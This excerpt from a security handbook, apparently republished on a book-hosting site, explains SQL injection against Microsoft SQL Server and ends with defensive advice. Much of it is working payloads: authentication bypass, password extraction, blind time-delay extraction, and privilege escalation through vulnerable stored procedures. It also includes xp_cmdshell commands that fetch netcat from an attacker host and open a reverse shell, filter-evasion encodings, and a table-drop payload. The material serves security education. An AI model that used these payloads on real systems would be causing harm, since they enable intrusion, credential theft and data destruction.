SQL Injection

SQL injection is probably the most common vector used to attack SQL Server. This is because web applications are typically deployed as Internet- facing and, if written in-house, their code will probably not have been subject to the same stringent security auditing as commercial software. SQL Server is also particularly vulnerable to this type of attack because of its verbose error messages. SQL Server's error messages can be viewed in the sysmessages table in the master database.

SQL injection occurs when information submitted by a browser to a web application is inserted into a database query without being properly checked. An example of this is an HTML form that receives posted data from the user and passes it to an Active Server Pages (ASP) script running on Microsoft's IIS web server. The two data items passed are a username and password, and they are checked by querying a SQL Server database. The schema of the users table in the backend database is as follows :

 username varchar(255) password varchar(255) 

The query executed is

 SELECT * FROM users WHERE username = '[username]' AND password = '[password]'; 

However, the ASP script builds the query from user data using the following line:

 var query = "SELECT * FROM users WHERE username = '" + username +"' AND password = '" + password + "'"; 

If the username is a single-quote character (') the effective query becomes

 SELECT * FROM users WHERE username = ''' AND password = '[password]'; 

This is invalid SQL syntax and produces a SQL Server error message in the user's browser:

 Microsoft OLE DB Provider for ODBC Drivers error '80040e14'  [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string '' and password=''.  /login.asp, line 16 

The quotation mark provided by the user has closed the first one, and the second generates an error, because it is unclosed. The attacker can now begin to inject strings into the query in order to customize its behavior; for example, in order to logon as the first user in the users table you would post a username of

 ' or 1=1-- 

This converts to a query of

 SELECT * FROM users WHERE username = '' or 1=1-' AND password = '[password]'; 

The double hyphens (--) signify a Transact-SQL comment, so all subsequent text is ignored. Because one will always equal one, this query will return the entire users table, the ASP script will accept the logon because results were returned, and the client will be authenticated as the first user in the table.

If a specific username is known the account can be accessed with the username:

 ' or username='knownuser' 

Even if a real username is not known, an invented one can be used with the username:

 ' union select 1, 'myusername', 'mypassword', 1 

An example of verbose SQL Server error messages can be seen by using a username of

 ' and 1 in (SELECT @@version) 

which results in the following:

 Microsoft OLE DB Provider for ODBC Drivers error '80040e07'  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting  the nvarchar value 'Microsoft SQL Server 2000 - 8.00.534 (Intel X86) Nov  19 2001 13:23:50 Copyright (c) 1988-2000 Microsoft Corporation Enter prise Edition on Windows NT 5.0 (Build 2195: Service Pack 3) ' to a col umn of data type int.  /login.asp, line 16 

By referencing the online SQL Server version database at SQLSecurity ( http://sqlsecurity.com/DesktopDefault.aspx?tabid=37 ), version 8.00.534 corresponds to SQL Server 2000 service pack 2 without any hotfixes. This version is vulnerable to several overflow attacks in stored procedures and functions such as xp_sprintf, formatmessage(), and raiserror () ( http://icat.nist.gov/icat.cfm?cvename=CAN-2002-0154 ).

The next step is to retrieve information about the structure of the database and its tables in order to manipulate the data. If, for convenience, an attacker wants to create an account on the system, he would need to know details about the database schema. The SQL clause HAVING is used to filter records returned by GROUP BY. They must be used together so the following username produces an informative error:

 ' having 1=1-- 

This gives the table name as "users" and the first column used in the query as "username":

 Microsoft OLE DB Provider for ODBC Drivers error '80040e14'  [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in an  aggregate function and there is no GROUP BY clause. /login.asp, line 16 

The rest of the columns can be determined by feeding the previous column name back into the select statement together with a GROUP BY clause:

 ' group by users.username having 1=1 

This returns:

 Microsoft OLE DB Provider for ODBC Drivers error '80040e14'  [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.password'  is invalid in the select list because it is not contained in an  aggregate function or the GROUP BY clause. /login.asp, line 16 

The next attempt is

 ' group by users.username,users.password having 1=1 

This doesn't generate an error, because the GROUP BY clause cancels out to make the effective query passed to the database select all users where the username is ''.

It can now be inferred that the query used by the ASP script operates only on the users table and uses the columns username and password. It would be natural to assume that both columns are of type varchar, but this can be verified by utilizing either the sum or avg functions, which are used to total an expression or calculate the average of all values in a group, respectively. Both functions can be used only with numeric fields or formulas, so passing the username

 ' union select sum(username) from users 

gives the error

 Microsoft OLE DB Provider for ODBC Drivers error '80040e07'  [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average  aggregate operation cannot take a varchar data type as an argument. /login.asp, line 16 

This reveals that the username column is of type varchar. To determine the data type of a numeric column (num) you would pass the column name to the sum function as before. This produces

 Microsoft OLE DB Provider for ODBC Drivers error '80040e14'  [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL  statement containing a UNION operator must have an equal number of  expressions in their target lists. /login.asp, line 16 

Now that the attacker has an idea of the schema used to hold user information, he can formulate a query to add his user:

 '; insert into users values('bob', 's3cret') 

The table data itself can be extracted from the database using the same method used to obtain the server version information ”attempted conversion of a character string to a number:

 ' union select min(username) from users where username > 'a' 

This returns the first username in alphabetical order (the first username that is alphabetically greater than the letter a):

 Microsoft OLE DB Provider for ODBC Drivers error '80040e07'  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting  the varchar value 'admin' to a column of data type int.  /login.asp, line 16 

All the users on the system can now be enumerated by substituting the last retrieved username for "a" in the query:

 ' union select min(username) from users where username > 'admin'-- Microsoft OLE DB Provider for ODBC Drivers error '80040e07'  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting  the varchar value 'bob' to a column of data type int.  /login.asp, line 16 

This continues until no error is generated, meaning that the query produced no result. The administrator password can be gathered:

 ' or 1 in (select password from users where username = 'admin') 

which returns

 Microsoft OLE DB Provider for ODBC Drivers error '80040e07'  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting  the varchar value 'nE1410s' to a column of data type int.  /login.asp, line 16 

You can find further information on SQL injection techniques in the technical whitepapers:

Advanced SQL Injection in SQL Server Applications, by Chris Anley ( http://www.nextgenss.com/papers/advanced_sql_injection.pdf )

More Advanced SQL Injection, also by Chris Anley ( http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf )

Manipulating Microsoft SQL Server Using SQL Injection, by Cesar Cerrudo ( http://www.appsecinc.com/presentations/Manipulating_SQL_Server_Using_SQL_Injection.pdf )

System-Level Attacks

If the vulnerable application is connecting to the database with system administrator privileges, attacks can be launched on the operating system itself. Commands can be executed using xp_cmdshell:

 '; exec master..xp_cmdshell 'dir > C:\dir.txt' 

Requesting a DNS lookup of the attacker's machine (the non-routable 192.168.0.1 in this example) verifies that commands are executed; DNS queries on TCP port 53 are often allowed out through corporate firewalls:

 '; exec master..xp_cmdshell 'nslookup foobar 192.168.0.1' 

Running a packet sniffer such as Ethereal ( www.ethereal.com ), a DNS query arrives containing the internal IP address of the database server. If permitted by the SQL Server's firewall the attacker may attempt to gain a remote shell by instructing the server to download the network tool netcat ( http://www.atstake.com/research/tools/network_utilities ) from a TFTP (trivial file transfer protocol) server running on his machine:

 '; exec master..xp_cmdshell 'tftp I 192.168.0.1 GET nc.exe c:\nc.exe' 

A command shell can now be pushed out to the attacker's netcat listener on port 53:

 '; exec master..xp_cmdshell 'C:\nc.exe 192.168.0.1 53 e cmd.exe' 

The usual technique for viewing command-line responses is to insert the information into a temporary table and then retrieve it using the previously detailed approaches, either through error message information or by using time delays. The local Windows usernames on the server can be exported using

 '; create table test(num int identity(1,1), data(4096)); insert into test exec xp_cmdshell 'cmd /c net user' 

The usernames can then be viewed line by line using

 ' or 1 in (select data from test where num = 1)-- ' or 1 in (select data from test where num = 2)-- ' or 1 in (select data from test where num = 3)-- etc... 

Alternative Attack Vectors

SQL injection can also occur if an application takes a value such as a session identifier from a user-supplied cookie. Care should be taken that equally stringent input validation is applied to values received from cookies, as is applied to those from form fields and URL query strings.

Web applications can extract information from many different sources, such as the HTTP request headers (Accept, User-Agent, Host, and so on) provided by web browsers when connecting to a server. These are often written to a database in order to generate user statistics, such as the prevalence of certain browsers or operating systems, and could open up a web application to SQL injection if incorrectly handled.

Both filenames and registry keys and their values may be utilized by a web application to form queries, and should also be audited for SQL injection.

Time Delays

The previous examples of SQL injection techniques assumed that the client can view the error messages returned by the backend database server; however, often the web server is set up so that error messages are not returned. In this case an attacker may suspect that the web application is vulnerable to SQL injection but be unable to view any useful information because of its configuration. A method used here to extract the data is known as time delay SQL injection, and works on the basis that true or false queries can be answered by the amount of time a request takes to complete. The statement waitfor used with the delay argument causes SQL Server to pause for the specified period of time:

 waitfor delay '0:0:5' 

This will pause the query for five seconds.

This feature can be leveraged to reveal information, such as whether the web application's connection to the database is made as a system administrator:

 if (is_srvrolemember('sysadmin') > 0) waitfor delay '0:0:5' 

This will cause the query to pause if true, or return immediately if false. At the very lowest level, all data stored in the database is just a binary series of ones and zeros. This means that any data in the database can be extracted using a sequence of true/false questions. For example, the query

 if (ascii(substring(@string, @byte, 1)) & (power(2, @bit))) > 0 waitfor delay '0:0:5' 

will trigger a delay only if the bit (@bit) of byte (@byte) in the string (@string) is set to 1. To retrieve the current database name from the server, execute

 declare @string varchar(8192) select @string = db_name() if  (ascii(substring(@string, 1, 1)) & (power(2, 0))) > 0 waitfor delay  '0:0:5' 

This will delay if the first bit of the first byte of the current database name is set to 1. The second bit of the first byte can then be queried:

 declare @string varchar(8192) select @string = db_name() if  (ascii(substring(@string, 1, 1)) & (power(2, 1))) > 0 waitfor delay  '0:0:5' 

and so on, building up the entire string. Obviously using this method, this would be a time-consuming process, mainly because of the five-second delay per set bit. It is not necessary, however, to run these queries sequentially or in any particular order. A small program, known as a harness, can be used to form the URLs to request with the necessary injected SQL to build the required string. Multiple requests can then be made to the server in multiple threads, and the harness program can then wait for the requests to return and build the string as they do.

Example C code for a generic harness program is included in Appendix A.

Stored Procedures

SQL Server stored procedures can be vulnerable to SQL injection attacks if they do not correctly parse user-supplied arguments. A stored procedure sp_MSdropretry is used to delete database tables and is accessible to the public role by default. The sysxlogins table can be retrieved on SQL Server 2000 pre-Service Pack 3 with the following query:

 EXEC sp_MSdropretry 'foobar select * from master.dbo.sysxlogins' ,  'foobar' 

Viewing the T-SQL source of this stored procedure:

 CREATE PROCEDURE sp_MSdropretry (@tname sysname, @pname sysname) as       declare @retcode int       /*       ** To public       */              exec ('drop table ' + @tname)       if @@ERROR <> 0 return(1)       exec ('drop procedure ' + @pname)       if @@ERROR <> 0 return(1)       return (0)       GO 

you can see that the problem occurs because the tname user-supplied param-eter is concatenated onto the string "drop table" and then executed without validation. The severity of this issue is low because all injected SQL will execute with the privileges of the current user. However, if an attacker obtains elevated privileges this bug will allow writes to system tables. Users with db_owner, db_securityadmin, db_datawriter, or db_ddladmin privileges could also take advantage of this issue in combination with ownership chaining to escalate their privileges to sysadmin level. Ownership chaining is a feature that allows users on one server to access objects on other SQL Servers based on their login. The initial step in privilege escalation is to create a view to modify the sysxlogins table:

 EXEC sp_executesql N'create view dbo.test as select * from master.dbo.sysxlogins' 

Then the dbo group's SID (Security Identifier) is set to 0x01:

 EXEC sp_MSdropretry 'foobar update sysusers set sid=0x01 where name = ''dbo''', 'foobar' 

The current user's xstatus field is now set to 18 (sysadmin):

 EXEC sp_MSdropretry 'foobar update dbo.test set xstatus=18 where name=SUSER_SNAME()', 'foobar' 

And finally, clean up by removing the view and resetting dbo's SID:

 EXEC sp_executesql N'drop view dbo.test' EXEC sp_MSdropretry 'foobar sysusers set sid=SUSER_SID(''DbOwnerLogin'') where name = ''dbo''', 'foobar' 

This security hole was closed with the release of SQL Server 2000 Service Pack 3, which fixed the SQL injection vulnerability in the sp_MSDropRetry stored procedure. However, a new SQL injection vulnerability in the stored procedure sp_MSdroptemptable in this updated version can allow users with create database privileges (or ownership of a database) to elevate their access level to system administrator. First the database is created:

 create database test go 

The context is set:

 use test 

As before, the SID of the dbo group is set to 0x01 (that of sa):

 exec sp_MSdroptemptable ''') is null update sysusers set sid=0x01 where name=''dbo''--' setuser 'dbo' with noreset setuser 

Now that the user has escalated privileges to sa, xp_cmdshell can be executed or the sysxlogins table viewed. This issue was fixed in the patch MS03-031 ( http://www.microsoft.com/technet/security/bulletin/MS03-031.mspx ).

The replication features of SQL Server are used to distribute data across a wide and diverse network of servers. The stored procedure sp_MScopyscriptfile is used to create a directory within the replication directory and then copy in a script file. Versions of this procedure in SQL Server 7 and 2000 SP2 and earlier are vulnerable to SQL injection in its @scriptfile parameter. The vulnerable lines of the procedure are as follows:

 select @cmd = N'copy "' + @scriptfile + N'" "' + @directory + N'"' exec @retcode = master..xp_cmdshell @cmd, NO_OUTPUT 

The filename to copy (@scriptfile) is being inserted into the command passed to exec without any verification. Arbitrary commands can be executed by supplying a malformed filename:

 use master declare @cmd nvarchar(4000) exec sp_MScopyscriptfile N'c:\boot.ini" c:\a.txt&echo hello > c:\b.txt & echo "hello',@cmd OUTPUT print @cmd 

This attack would copy the server's boot.ini file to the file a.txt, but would also write the text "hello" to the file b.txt. This vulnerability corresponds to Microsoft Security Bulletin MS02-043 ( http://www.microsoft.com/technet/security/bulletin/MS02-043.mspx ).

Port Scanning

The OPENROWSET command can be utilized as a rudimentary port scanner that can be used to determine services running on other hosts within the SQL Server's network. The query

 select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=foobar;Network=DBMSSOCN;Address=192.168.0.1,80;timeout=5', '') 

will return the message "General network error. Check your network documentation," if the port is found to be open. A closed port gives "SQL Server does not exist or access denied ." Whether or not the five-second timeout is expended depends on the behavior of the listening service.

It would obviously be extremely time consuming to map an entire subnet using this method, although it is useful for pinpointing specific services. Because SQL Server will repeatedly attempt connections for the duration of the timeout period, this technique can also be used as a denial-of-service attack. The same query with an extended timeout value will make rapid connections to the service on the specified port, and could prevent legitimate users from connecting.

Batched Queries

SQL Server supports query batching , which allows a number of semicolon-separated queries to be submitted for execution in a single request. Although this is a convenient feature that is unavailable in other database servers such as Oracle and MySQL, it does increase SQL Server's exposure to SQL injection attacks. This is because the web application's query can be terminated with an injected semicolon followed by an additional query that will be executed subsequently.

Defending Against SQL Injection

Despite SQL injection's well-earned reputation as a relatively common and dangerous SQL Server attack vector, there are several ways to protect against this type of attack. The first, and most obvious, is to ensure that web applications properly validate user-supplied input. Input can be filtered so that only known good input is accepted, known bad input could be stripped out, bad input could be escaped, and finally, bad input could be rejected entirely. Often a combination of these approaches is the best solution.

The idea behind allowing only known good input is defining a set of permitted characters for each data type used by the application. A telephone number input field, for example, would only accept the digits 0 to 9; a surname field should only contain upper- or lowercase letters from A to Z. The application could also be programmed to reject SQL keywords such as select or exec. Care should be taken to ensure that all possible keywords are included. A filter checking for the select keyword could be bypassed by alternative encodings:

 exec('sel'+'ect * from sysxlogins') 

and by converting the entire query to a hex string using the function fn_varbintohex:

 select master.dbo.fn_varbintohexstr(CAST('select * from sysxlogins' as varbinary)) 0x73656c656374202a2066726f6d20737973786c6f67696e73 

The following query could then also be attempted, bypassing checks on the select keyword:

 declare @query varchar(128); set @query = 0x73656c656374202a2066726f6d20737973786c6f67696e73; exec(@query) 

Escaping submitted characters in a web application means treating them as literal data rather than part of a possible SQL query. For example, if a single-quote character (') is submitted within user input, the application will replace it with two single quotes ( '' ), which means that within any SQL query this input will be treated as a literal single-quote character. This approach has the added benefit of correctly processing surnames that may contain single quotes (O'Neill, O'Reilly, and so on). A hazard when using character escaping can be introduced if length limits are applied to any of the input fields; length limits may be applied by the application to reduce the risk of buffer overflow attacks. Using the example application in the previous section, and supposing that single-quote characters are escaped and that the username field is limited to 25 characters, the following username is submitted:

 test''''''''''' 

The application then escapes the single-quote characters by replacing them with double single quotes, and truncates the result to its limit of 25 characters. The final single quote is removed from the end, meaning that the single quote before it is no longer escaped. The resultant string:

 test''''''''''''''''''''' 

allows SQL statements to be injected into the password field. So a password of

 ; drop table users-- 

would delete the entire users table. The effective query formed by the application will be

 SELECT * FROM users WHERE username = 'test''''''''''''''''''''' AND password = '; drop table users--'; 

The usefulness of injected queries is restricted by the length limit, but it is possible to drop tables or shut down the server with short queries. Care should be taken when writing the input parsing code that escape characters are not deleted by length limits.

The safest method that can be employed is to reject any input not explicitly classified as "good." A possible drawback may be that improperly defined filters could block access to users, so it is important that all rules are thoroughly tested .

As well as the application code, the security of the SQL Server itself should be a concern. Basic security measures consist of the following:

  • A well-configured firewall to block everything apart from connections from the web server and the database administrator.

  • The web app should connect to the database with the minimum of privileges required to access the data ”not as the sa user.

  • Powerful stored procedures that access the registry and run commands should be restricted to system administrators.

  • Permissions granted to the public role should be strictly controlled.

  • All relevant security patches should be applied to prevent privilege escalations.



Database Hacker's Handbook. Defending Database Servers
The Database Hackers Handbook: Defending Database Servers
ISBN: 0764578014
EAN: 2147483647
Year: 2003
Pages: 156

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net